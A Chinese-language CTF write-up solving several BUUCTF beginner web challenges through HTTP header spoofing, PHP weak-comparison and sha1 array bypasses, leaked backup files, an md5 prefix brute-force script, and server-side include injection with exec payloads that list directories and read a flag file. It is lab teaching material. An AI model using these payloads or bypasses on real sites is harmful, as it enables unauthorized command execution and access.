BUUCTF web刷题记录 (一)

[极客大挑战 2019]Havefun

考点:GET请求

解题

1、F12

<?php
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
      echo 'Syc{cat_cat_cat_cat}';
}       

GET:cat=dog

[极客大挑战 2020]Roamphp1-Welcome

考点:http协议-请求方式、php函数漏洞

解题

1、进入题目,是一个空白页面,???POST发包,有惊喜

 <?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
    
    if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
        show_source(__FILE__);
    }
    else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
        phpinfo();  // collect information from phpinfo!
    }
} 

POST:roam1[]=1&roam2[]=2
搜索关键字flag,get flag。

[极客大挑战 2019]Knife

1、直接连上蚁剑。果真白给的shell。

[极客大挑战 2019]Http

考点:http协议

知识点:

Header:请求头

解题

1、Ctrl+U查看源码,发现了Secret.php

2、
提示了访问的网址,用burpsuite添加Referer头
3、
要求使用Syclover浏览器,再添加User-Agent
4、只能本地访问,添加X-Forwarded-For

[BJDCTF 2nd]假猪套天下第一

考点:http协议

知识点:

Header:请求头

解题

1、
DIj80A.png
2、
DIxVG6.png
按要求把年份time改大
3、
DIxyWV.png
要求本地访问,伪造IP,添加xff头,不行,试了client-ip可以
4、
DIztt1.png
要求来自Ying师傅博客的网站,添加Referer头
5、
DIz5ng.png
对浏览器有要求,添加user-agent,(google搜下这个浏览器全称
6、
DopROS.png
要求请求的邮箱是root@gem-love.com,添加From
7、
DoCP4s.png
添加Via头。

[极客大挑战 2019]BuyFlag

打开menu下的payflag后,发现一些hint

1、要100000000 money
2、必须是成新的student
3、correct password
在源码最后的一段发现有用的注释

1、要post提交money和password,money用科学计数法
2、password要弱等于404,还不能是数字,就利用php弱类型
money=1e10&password=404a
没啥啊。。。
用burpsuite抓包

发现user值为0,果断改为1,嘿嘿嘿

[ACTF2020 新生赛]BackupFile(备份文件泄露&php弱类型)

1、用wsacn扫出备份文件index.php.bak

2、

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {//如果$key不是数字,输出Just num!
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

要求$key是数字,且弱等于123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
测试:

所以,string在和int弱比较时,string会强制转换为int,删掉第一个字符及其后面的所有内容,只保留最前面的数字。

key=123就可。

[BJDCTF2020]EasySearch

考点:swp信息泄露、SSI注入

知识点

1、SSI服务端包含注入

解题

1、title是“login”
DRfiwt.png
打开题目,是一个登录框
挨个尝试,发现/index.php.swp,存在缓存文件泄露

<?php
	ob_start();//打开输出控制缓冲
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times,例:Hd3$^
		$content = uniqid().$random;//例:5fc4dac3cb3a3Hd3$^
		return sha1($content); 例:17a07336341affe9c7adcaa9eed61e5fb05c771c
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

分析:password经过md5后前6位字符是6d0bc1,把那段文本写入ppublic/".get_hash().".shtml了
2、写个脚本跑下md5:

import hashlib

def md5(s):
 return hashlib.md5(s.encode(encoding='UTF-8')).hexdigest()

for i in range(1000000000):
    h = md5(str(i))
    if h[0:6] == "6d0bc1":
        print(i)
        break

3、username没做要求,随便写,password就用跑出来的2020666
DR7fxK.png
访问返回的文件
DRbbgP.png


4、利用SSI注入漏洞,尝试在username处执行ssi语句进行RCE
查看根目录:

<!--#exec cmd="ls /"-->

查看当前目录:

<!--#exec cmd="ls"-->

目录穿越:

<!--#exec cmd="ls ../"-->

DRzwFO.png
读取falg:

<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->

总结

看到.shtml,就考虑SSI注入

原文地址:https://www.cnblogs.com/wrnan/p/12720927.html